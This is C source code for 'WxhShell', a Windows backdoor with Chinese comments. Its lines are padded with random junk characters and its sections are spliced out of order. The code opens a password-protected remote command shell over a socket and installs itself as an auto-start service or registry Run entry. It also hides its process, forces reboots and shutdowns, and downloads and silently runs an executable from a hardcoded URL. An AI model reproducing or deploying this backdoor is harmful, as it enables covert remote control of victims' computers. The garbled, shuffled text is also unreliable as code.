    if(Boot(SHUTDOWN)) +LvZ87O^~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @5uyUSt]  
    else { qCv}+d)  
    closesocket(wsh); qX}dbuDE"P  
    ExitThread(0); lUm}nsp=X  
    } O;.d4pO(tC  
    break; `qQQQ.K7)z  
    } |G5=>W  
  // 获取shell Tg}H < T  
  case 's': { -F~9f>  
    CmdShell(wsh); 6Wcn(h8%*  
    closesocket(wsh); J@&$U7t  
    ExitThread(0); e3bAT.P  
    break; JN9HT0  
  } Nc^b8& 2J  
  // 退出 J0{WqA.P  
  case 'x': { *AJezhR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iz$v8;w  
    CloseIt(wsh); n,R[O_9u[  
    break; G=0}IPfp  
    } lqwJ F &  
  // 离开 M 2U@gC|{  
  case 'q': { m78MWz]Yo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wLg:YM"  
    closesocket(wsh); Ix l"'Q_z  
    WSACleanup(); 3]5&&=#  
    exit(1); #gr+%=S'6C  
    break; VA*79I#_q  
        } F'T= Alf  
  } N*c?Er@8U  
  } g#bfY=C  
A/W7 ;D  
  // 提示信息 W.7d{ @n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B[k+#YYY  
} k}owEBsn}  
  } _s#/f5<:B  
znDtM1sLeV  
  return; Tef3 Z6  
} gx{~5&1  
9jJ/ RXp  
// shell模块句柄 t+Q|l&|0  
int CmdShell(SOCKET sock) w[n>4?"{  
{ 2ucsTh@  
STARTUPINFO si; ]idD&5gd  
ZeroMemory(&si,sizeof(si)); z jNjmC!W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (2a "W`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 77[;J  
PROCESS_INFORMATION ProcessInfo; gpTF^.(  
char cmdline[]="cmd"; B7QtB3bn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W Y qL  
  return 0; OrqJo!FEg{  
} jn3|9x  
7ump:|  
// 自身启动模式 P+cFp7nC  
int StartFromService(void) h[v3G<C~r  
{ jnLo[Cf,H8  
typedef struct f4;8?  
{ oVZ8p-  
  DWORD ExitStatus; Ydd>A\v\;  
  DWORD PebBaseAddress; 7&S|y]$~  
  DWORD AffinityMask; #K~j9DuR  
  DWORD BasePriority; F/,<dNJ  
  ULONG UniqueProcessId; \/dm}' `  
  ULONG InheritedFromUniqueProcessId; V5^b6$R@  
}   PROCESS_BASIC_INFORMATION; @%B!$\]  
2\8\D^   
PROCNTQSIP NtQueryInformationProcess; o_^d>Klb8  
ReGb .pf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jQBdS. }'v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hbj:CViYq  
2n r UE  
  HANDLE             hProcess; #?d#s19s  
  PROCESS_BASIC_INFORMATION pbi; Oh85*3  
9^h%}>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K@u."eaD  
  if(NULL == hInst ) return 0; r{3 `zqo  
>+LgJo R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;77o%J'l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7%x+7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xW ZcSIH!  
aI#n+PW  
  if (!NtQueryInformationProcess) return 0; ')cgx9   
0\<-R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N5_.m(:  
  if(!hProcess) return 0; p?NjxQLA  
sN) .Jo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]6[d-$#^ko  
p%y\`Nlgdx  
  CloseHandle(hProcess); zjZTar1Re  
1 3az [  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DyTk<L  
if(hProcess==NULL) return 0; ~F6gF7]z  
;l4 \^E1  
HMODULE hMod; )GKgK;=~  
char procName[255]; 491I  
unsigned long cbNeeded; Oydmq,sVe(  
 ;I@L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U: jf9L2  
\)]2Uh|  
  CloseHandle(hProcess); +E[)@;T  
:P1c>:j[  
if(strstr(procName,"services")) return 1; // 以服务启动 6EWB3.x19  
=eLb"7C#0  
  return 0; // 注册表启动 YYh_lAS>  
} $NRb'   
.*7UT~o=CS  
// 主模块 OkUpgXU  
int StartWxhshell(LPSTR lpCmdLine) !QspmCo+  
{ 5hK\YTU  
  SOCKET wsl; lM%fgyX  
BOOL val=TRUE; xJGeIh5  
  int port=0; )fL*Ws6  
  struct sockaddr_in door; `\0a5UFR  
* v]UgPk  
  if(wscfg.ws_autoins) Install(); D.!7jA#  
Z!eq/  
port=atoi(lpCmdLine); e !Okc*,  
m3-J0D<  
if(port<=0) port=wscfg.ws_port; .)zISa*Xy  
.p}Kl$K]  
  WSADATA data; IW_D$pq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O3: dOL/C  
LS$82UB&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uy:=V }p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ybO,~TQ  
  door.sin_family = AF_INET; d vxEXy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ptQ (7N  
  door.sin_port = htons(port); +}/!yQtH  
`0D1Nh"%k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1U7HS2  
closesocket(wsl); x&vD,|V!  
return 1; VC7F#a*V  
} $ '*BS  
-P&e4sV{  
  if(listen(wsl,2) == INVALID_SOCKET) { ,+9r/}K]/  
closesocket(wsl); RY< b]|  
return 1; G'f"w5%qZv  
} FJ"9Hs2  
  Wxhshell(wsl); %/zZ~WIf  
  WSACleanup(); %Ege^4PE  
n#cN[C9  
return 0; ,&G M\FTeb  
q:^Cw8  
} Y_sVe  
![^h<Om  
// 以NT服务方式启动 -+_&#twU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q(Q9FonU  
{ t7FQ.E,T  
DWORD   status = 0; FG:BRS<m~  
  DWORD   specificError = 0xfffffff; B,,d~\  
p04+"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n`xh/vGm#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I_7EfAqg(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <vDm(-i3  
  serviceStatus.dwWin32ExitCode     = 0; NhX.yLb$   
  serviceStatus.dwServiceSpecificExitCode = 0; EQC  
  serviceStatus.dwCheckPoint       = 0; GY xI$y0:  
  serviceStatus.dwWaitHint       = 0; 'O9=*L) X  
KW^aARJ)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gQ#T7  
  if (hServiceStatusHandle==0) return; Xs@ ^D,  
Hc|U@G  
status = GetLastError(); yTiqG5r  
  if (status!=NO_ERROR) ':4pH#E  
{ q(^J7M)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H_nJST<v`  
    serviceStatus.dwCheckPoint       = 0; TVwYFX  
    serviceStatus.dwWaitHint       = 0; 7:'>~>'  
    serviceStatus.dwWin32ExitCode     = status; V.:A'!$#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^#se4qQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n4y6Ua9m{  
    return; *DzPkaYD>  
  } I=a$1%BzEX  
}j*/>m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ped Yf{T  
  serviceStatus.dwCheckPoint       = 0; XtdLKYET  
  serviceStatus.dwWaitHint       = 0; %Oqe7Cx>+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s;$TX304  
} [S+-ovl  
J?fh3RW9  
// 处理NT服务事件,比如:启动、停止 E,yK` mPp^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4LJ}>e  
{ olh3 R.M<  
switch(fdwControl) tta0sJ8 i  
{ [d>yo_iB  
case SERVICE_CONTROL_STOP: $VIq)s2az|  
  serviceStatus.dwWin32ExitCode = 0; \ZZy`/~z*7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5zna?(#}  
  serviceStatus.dwCheckPoint   = 0; 5>Yd\(`K  
  serviceStatus.dwWaitHint     = 0; Uy|=A7Ad c  
  { #q.G_-H4J@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UyKG$6F?3  
  } $OoN/^kv  
  return; AiHf?"EVT  
case SERVICE_CONTROL_PAUSE: "m;]6B."  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^oO5t-9<!  
  break; ^T6!z^g1h  
case SERVICE_CONTROL_CONTINUE: dU3 >h[q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L b;vrh;A  
  break; _rdj,F8  
case SERVICE_CONTROL_INTERROGATE: 5?0gC&WfN  
  break; K(fLqXE%  
}; _k.bGYldk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bTp2)a^G  
} lNVAKwW2#  
166c\QO  
// 标准应用程序主函数 NVWeJ+w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '?3z6%  
{ 05I39/T%  
Z1&GtM  
// 获取操作系统版本 4@iJ|l  
OsIsNt=GetOsVer(); &ntP~!w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C_ZD<UPA\  
-7z y  
  // 从命令行安装 ,T*_mDVY  
  if(strpbrk(lpCmdLine,"iI")) Install(); _Ge^ -7  
mKQST ]5  
  // 下载执行文件 l~!fQ$~  
if(wscfg.ws_downexe) { "u8o?8+q~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EZumJ."  
  WinExec(wscfg.ws_filenam,SW_HIDE); |QNLO#$ -  
} m?% H<4X  
BRXb<M^;_  
if(!OsIsNt) { GKujDx+h  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q>a7Ps@~  
HideProc(); RR"W O  
StartWxhshell(lpCmdLine); K0RYI69_  
} pkN:D+g S  
else j[J@tM#  
  if(StartFromService()) K[>@'P}y  
  // 以服务方式启动 I<(.i!-x  
  StartServiceCtrlDispatcher(DispatchTable); }A)36  
else Pn'(8bRm  
  // 普通方式启动 UQ.D!q  
  StartWxhshell(lpCmdLine); m9<%v0r  
:e<`U~8m  
return 0; }vUlTH  
} ^8oc^LOa~2  
{q tc \O  
Jt>[]g$  
VXc+Wm*W  
=========================================== keQXJ0  
-Mi}yi  
')u5l  
<A -(&+  
<K#'3&*$s  
H MjeGO.i  
" `f 6)Q`n  
"?eH=!  
#include <stdio.h> f*T)*R_  
#include <string.h> g#'fd/?Q  
#include <windows.h> &J^4Y!gt  
#include <winsock2.h> Z'}(t,  
#include <winsvc.h> $D/bU lFx  
#include <urlmon.h> S\3AW,c]w  
LE<u&9I\  
#pragma comment (lib, "Ws2_32.lib") EAD0<I<>  
#pragma comment (lib, "urlmon.lib") m/<F 5R  
&8Jg9#  
#define MAX_USER   100 // 最大客户端连接数 5@UC c  
#define BUF_SOCK   200 // sock buffer q M_/  
#define KEY_BUFF   255 // 输入 buffer ,jbGM&.C  
5qd_>UHp  
#define REBOOT     0   // 重启 ovDJ{3L6O  
#define SHUTDOWN   1   // 关机 #6N+5Yx_[  
."IJmv  
#define DEF_PORT   5000 // 监听端口 KM/U?`6>:  
$h 08Z  
#define REG_LEN     16   // 注册表键长度 < g3du~  
#define SVC_LEN     80   // NT服务名长度 &SjHrOG?  
Z&dr0w8  
// 从dll定义API <}EV*`w4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R81{<q'%X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2JiAd*WK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f2O*8^^Y{Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vv2vW=\  
M[YTk=IM#  
// wxhshell配置信息 kqKj7L  
struct WSCFG { WxVn&c\  
  int ws_port;         // 监听端口 )D[ "M$ZA^  
  char ws_passstr[REG_LEN]; // 口令 t;.^K\S4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ([,vX"4  
  char ws_regname[REG_LEN]; // 注册表键名 K\IYx|Hm a  
  char ws_svcname[REG_LEN]; // 服务名 %XP_\lu]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AV:Xg4UJv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d~{jEg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *xE"8pN/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <%d51~@={I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V#'26@@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aO.\Qe+j  
$J QWfGwR  
}; =tr1*s{  
YgE]d?_h  
// default Wxhshell configuration tZaD${  
struct WSCFG wscfg={DEF_PORT, V_&GYXx(J  
    "xuhuanlingzhe", ,vPe}OKj  
    1, Gb(C#,xbK  
    "Wxhshell", AbUDn\0$  
    "Wxhshell", }P<Qz^sr_  
            "WxhShell Service", f._l105.  
    "Wrsky Windows CmdShell Service", xS6(K  
    "Please Input Your Password: ", u0m5JD0/  
  1, vkd[: CC  
  "http://www.wrsky.com/wxhshell.exe", |@ikx{W  
  "Wxhshell.exe" )W&o?VRfO  
    }; $ A-+E\vQ@  
_W)`cr  
// 消息定义模块 !p }`kG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qqnclqkw&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A <4_DVd@@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A2m_q>> !  
char *msg_ws_ext="\n\rExit."; $.H:8^W  
char *msg_ws_end="\n\rQuit."; 2R^O,Vu*W  
char *msg_ws_boot="\n\rReboot..."; J+Q+&-a  
char *msg_ws_poff="\n\rShutdown..."; )O,wRd>5  
char *msg_ws_down="\n\rSave to "; q=|R89  
N>+P WE$  
char *msg_ws_err="\n\rErr!"; exfm q  
char *msg_ws_ok="\n\rOK!"; A0G)imsW:_  
OE_ QInb<  
char ExeFile[MAX_PATH]; ,Pn-ZF  
int nUser = 0; k*5'L<&  
HANDLE handles[MAX_USER]; >; aCf#q  
int OsIsNt; !7}IqSs  
G+0><,S  
SERVICE_STATUS       serviceStatus; UQ/qBbn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6gXIt9B.h$  
FY$fV"s  
// 函数声明 j5PL{6  
int Install(void); !RS9%ES_?  
int Uninstall(void); dXmV@ Noo  
int DownloadFile(char *sURL, SOCKET wsh); ,Du@2w3Cq  
int Boot(int flag); lWW+5  
void HideProc(void); [`d$X^<y;  
int GetOsVer(void); >ajuk  
int Wxhshell(SOCKET wsl);  3P1&;  
void TalkWithClient(void *cs); ^$!987"  
int CmdShell(SOCKET sock); h;-a`@rO ;  
int StartFromService(void); Bs[nV}c>>  
int StartWxhshell(LPSTR lpCmdLine); f\fdg].!  
*l{yW"Su  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >&OUGu|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cB#nsu>  
(:5G#?6,  
// 数据结构和表定义 ^(ScgoXva  
SERVICE_TABLE_ENTRY DispatchTable[] = P.djd$#  
{ EFAGP${F  
{wscfg.ws_svcname, NTServiceMain}, ` @8`qXg  
{NULL, NULL} 'n0 .#E_  
}; hrbo:8SL  
4[TR0bM%  
// 自我安装 QYQtMb,  
int Install(void) A3HF,EG  
{ P-CB;\  
  char svExeFile[MAX_PATH]; I^D0<lHl~  
  HKEY key; 3J{vt"dS  
  strcpy(svExeFile,ExeFile); r [s!F=^  
X eoJ$PfT  
// 如果是win9x系统,修改注册表设为自启动 q@n^ZzTx  
if(!OsIsNt) { !Vheq3"q/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Ng0WS_0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *XbI#L%>  
  RegCloseKey(key); Tv5g`/e=Ej  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3$VxRz)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S_v(S^x6  
  RegCloseKey(key); ;Wc4qJ.@  
  return 0; [iS,#w` 5  
    } Q$ri=uB;+  
  } WA$ JI@g  
} p_{("zQ  
else { k6"KB  
WZZ4]cC  
// 如果是NT以上系统,安装为系统服务 |Ps% M|8~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5l DFp9  
if (schSCManager!=0) ,Q/Ac{C  
{ mM/i^zT  
  SC_HANDLE schService = CreateService G^wtE90  
  ( }CDk9Xk  
  schSCManager, V-!"%fO.s  
  wscfg.ws_svcname, pI;NL [  
  wscfg.ws_svcdisp, w!SkWS b,~  
  SERVICE_ALL_ACCESS, >u0w.3r#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8' K0L(3[  
  SERVICE_AUTO_START, 3=  -pG  
  SERVICE_ERROR_NORMAL, s '?GH  
  svExeFile, ^YvB9XN  
  NULL, Vp}^NNYf  
  NULL, @kFu*"  
  NULL, Q;u SWt<{  
  NULL, cK`"lxO  
  NULL 'b/ <x|  
  ); !@A#=(4R4  
  if (schService!=0) X|DO~{-au  
  { RDM`9&V!jp  
  CloseServiceHandle(schService); O 5 Nb  
  CloseServiceHandle(schSCManager); awewYf$li  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3WY$WRv  
  strcat(svExeFile,wscfg.ws_svcname); "YU{Fkl#j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BZv+H=b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xz 4 x  
  RegCloseKey(key); 1 " #*)MF  
  return 0; [5$w=u"j  
    } a`(a)9i  
  } LjB;;&VCn  
  CloseServiceHandle(schSCManager); vhuw &.\  
} nqVZqX@oE  
} M$Zo.Bl$(  
fV:4#j  
return 1;  j2l55@  
} Rli:x  
A'&n5)tb  
// 自我卸载 q .4A(,  
int Uninstall(void) `qVjwJ!+  
{ evA/+F ,&  
  HKEY key; k>jbcSY(z<  
R%D'`*+  
if(!OsIsNt) { 4 1a. #o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VdSv  
  RegDeleteValue(key,wscfg.ws_regname); fF vF\  
  RegCloseKey(key); aVL=K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =qy=-j]  
  RegDeleteValue(key,wscfg.ws_regname); 3bZIYF2@  
  RegCloseKey(key); r7]zQIE  
  return 0; G` fC/Le  
  } PQKaqv}N  
} ((tv2  
} @H>@[+S#  
else { *'Y@3vKE  
?Iyo9&1&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UO*Ymj 1  
if (schSCManager!=0) 54-#QIx|  
{ XdLCbY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r0d35  
  if (schService!=0) l!}:|N Yh!  
  { l {jmlT  
  if(DeleteService(schService)!=0) { =0;}K@(J  
  CloseServiceHandle(schService); 8}X5o]Mv  
  CloseServiceHandle(schSCManager); I+>%uShm  
  return 0; g.c8FP+  
  } yme^b ;a  
  CloseServiceHandle(schService); lv vs%@b>  
  } joKIrS0y  
  CloseServiceHandle(schSCManager); K{b(J Nd  
} ;z M*bWh9  
} T,xPSN2A*  
wn_b[tdxq  
return 1; pj4!:{.;  
} -V,v9h ^  
#ET/ =  
// 从指定url下载文件 [V'QrcCF  
int DownloadFile(char *sURL, SOCKET wsh) 8Og_W8  
{ Xc"&0v%;#  
  HRESULT hr; 322jR4QGr  
char seps[]= "/"; .q&'&~!_  
char *token; ?bM_q_5  
char *file; ~4P%%b0,o  
char myURL[MAX_PATH]; _k8A$s<d  
char myFILE[MAX_PATH]; `n$5+a+  
J!'@Bd  
strcpy(myURL,sURL); *(PL _/:  
  token=strtok(myURL,seps); :qChMU|Y6  
  while(token!=NULL) z'uK3ng\hH  
  { 7j nIv];i  
    file=token; z1^gDjkZ  
  token=strtok(NULL,seps); \J+*  
  } >pU:Gr  
P/EM :  
GetCurrentDirectory(MAX_PATH,myFILE); Y"OG@1V;8  
strcat(myFILE, "\\"); L\y;LSTU  
strcat(myFILE, file); aK`@6F,]j  
  send(wsh,myFILE,strlen(myFILE),0); ui(^k $  
send(wsh,"...",3,0); %tG*C,l]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b~nAPY6  
  if(hr==S_OK) vjjSKP6B  
return 0; Q{B}ef  
else ]4;PR("aU  
return 1; 3O7!`Nm@  
D#&q&6P{  
} pABs!A`N  
l NQcYv  
// 系统电源模块 n_3O-X(  
int Boot(int flag) =gcM%=*'  
{ kOh{l: 2-+  
  HANDLE hToken; 2h[85\4  
  TOKEN_PRIVILEGES tkp; |&Ym@Jyj  
J>u 7,  
  if(OsIsNt) { B<C*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &ZL3{M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4lBU#V7  
    tkp.PrivilegeCount = 1; /z BxJT0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `'V4PUe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 765p/**  
if(flag==REBOOT) { Zh_|m#)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Tk1 QHU  
  return 0; x' .:&z  
} I4&::y^ C  
else { %;.;>Y(-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P;k0W>~k  
  return 0; ,_"AT! r  
} ?.D3'qv  
  } Ot]Ru,y->+  
  else { 4C FB"?n0  
if(flag==REBOOT) { lkBdl#]9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /% N r?V  
  return 0; w: >5=mfk  
} %'[&U#-  
else { yz0zFfiX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vb9',a?#n  
  return 0; y.[Mnj  
} ATR!7i\|  
} .|/~op4;  
/{|fyKo\?  
return 1; A]XZnQ  
} %rxO_  
qbv#I;  
// win9x进程隐藏模块 x:nKfY5  
void HideProc(void) ",!1m7[wF  
{ [o?* "c  
%JLk$sP9y`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u;`U*@  
  if ( hKernel != NULL ) .-<k>9S7_  
  { /c,(8{(O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w+N> h;j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z`\F@pX%wC  
    FreeLibrary(hKernel); a<@N-Exr  
  } {c (!;U  
uV=Qp1~  
return; NOp609\^  
} FXs*vg`  
7PkJ-JBA  
// 获取操作系统版本 8H_l:Z[:i  
int GetOsVer(void) Z.M,NR  
{ sq;s]@~  
  OSVERSIONINFO winfo; ^.>jG I%rB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ud!4"<C_  
  GetVersionEx(&winfo); Ry|!pV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "U\4:k`:  
  return 1; [/X4"D-uOK  
  else !&"<oPjr+  
  return 0; /"B?1?qc,=  
} $_x^lr  
&SrO)  
// 客户端句柄模块 ,13Lq-  
int Wxhshell(SOCKET wsl) ?`4+cx}n  
{ [3@):8  
  SOCKET wsh; l~ M_S<4n  
  struct sockaddr_in client; 2"B_At  
  DWORD myID; yfm^?G|sW  
ObiT-D?)g  
  while(nUser<MAX_USER) o0pII )v  
{ ?|39u{  
  int nSize=sizeof(client); 3:C oZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `+uhy ,  
  if(wsh==INVALID_SOCKET) return 1; l'3pQ;  
IEzaK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *q1%IJ  
if(handles[nUser]==0) @U2qD  J6  
  closesocket(wsh); ;W^o@*i{>  
else DrO2y  
  nUser++; >2Kh0rIH  
  } DuOG {  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QI3Nc8t_2  
pi ,eIm  
  return 0; $t6e2=7  
} OdB?_.+$  
T16{_  
// 关闭 socket  0gfA#|'  
void CloseIt(SOCKET wsh) oDU ;E  
{ ]~E0gsq  
closesocket(wsh); k0Uyf~p~  
nUser--; ANps1w#TP  
ExitThread(0); 6#QK%[1!>  
} ZAXN6h  
mD/MJt5  
// 客户端请求句柄 &w1P\4?G  
void TalkWithClient(void *cs) 1hziXC0WY  
{ m2v'WY5u  
:.45u}[  
  SOCKET wsh=(SOCKET)cs; Xt'sQ}  
  char pwd[SVC_LEN]; B!\;/Vk  
  char cmd[KEY_BUFF]; 57g</ p  
char chr[1]; &Ky_v^  
int i,j; f`&dQ,;  
hc'-Dh  
  while (nUser < MAX_USER) { ti<;7Yb  
Y>&Ew*Y  
if(wscfg.ws_passstr) { `8Lo{P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _X'"w|0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rh>}rGvCUN  
  //ZeroMemory(pwd,KEY_BUFF); ]C:l,I  
      i=0; r{rQu-|.  
  while(i<SVC_LEN) { C|?o*fQ  
tT79 p.z B  
  // 设置超时 rQaxr!  
  fd_set FdRead; b@2J]Ay E*  
  struct timeval TimeOut; HuV J\%.  
  FD_ZERO(&FdRead); {pHM},WJ  
  FD_SET(wsh,&FdRead); dF~8XYo  
  TimeOut.tv_sec=8; u3o#{~E/#  
  TimeOut.tv_usec=0; Y}vr>\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PtTHPAKj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NoJ`6MB  
nM0[P6p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q(\4]i< S  
  pwd=chr[0]; uy}%0vLo  
  if(chr[0]==0xd || chr[0]==0xa) { e~"fn*"  
  pwd=0; 5Fz.Y}  
  break; gc?#pP  
  } g=e71DXG2  
  i++; ~wVd$%7`  
    } PClMQL#  
Ogp"u b8  
  // 如果是非法用户,关闭 socket i}~SDY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 51QRM32Y  
} @ G4X  
eBJUv]o %  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D91e\|]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ScSZGs 5&  
QzAK##9bfa  
while(1) { qBT.x,$  
%/rMg"f:  
  ZeroMemory(cmd,KEY_BUFF); {b@KYR9K  
1NcCy! +  
      // 自动支持客户端 telnet标准   oaK%Ww6~  
  j=0; 8dlw-Q'S  
  while(j<KEY_BUFF) { 7YAIA%8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MG?0>^F  
  cmd[j]=chr[0]; g9Yz*Nee<  
  if(chr[0]==0xa || chr[0]==0xd) { +nT'I!//  
  cmd[j]=0; <u=4*:QE  
  break; 2m~V{mUT!  
  } w` DW(hXJ  
  j++; .&x}NYX4  
    } _H^^y$+1  
h?$T!D>  
  // 下载文件 5IbJ  
  if(strstr(cmd,"http://")) { l]]l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .E@|D6$D  
  if(DownloadFile(cmd,wsh)) oY=q4D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d|iy#hy"_  
  else 5~yNqC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {vE(l'  
  } g5q$A9.Jl  
  else { >~\89E 02  
@;?T~^nGj  
    switch(cmd[0]) { ;zdxs'hJ  
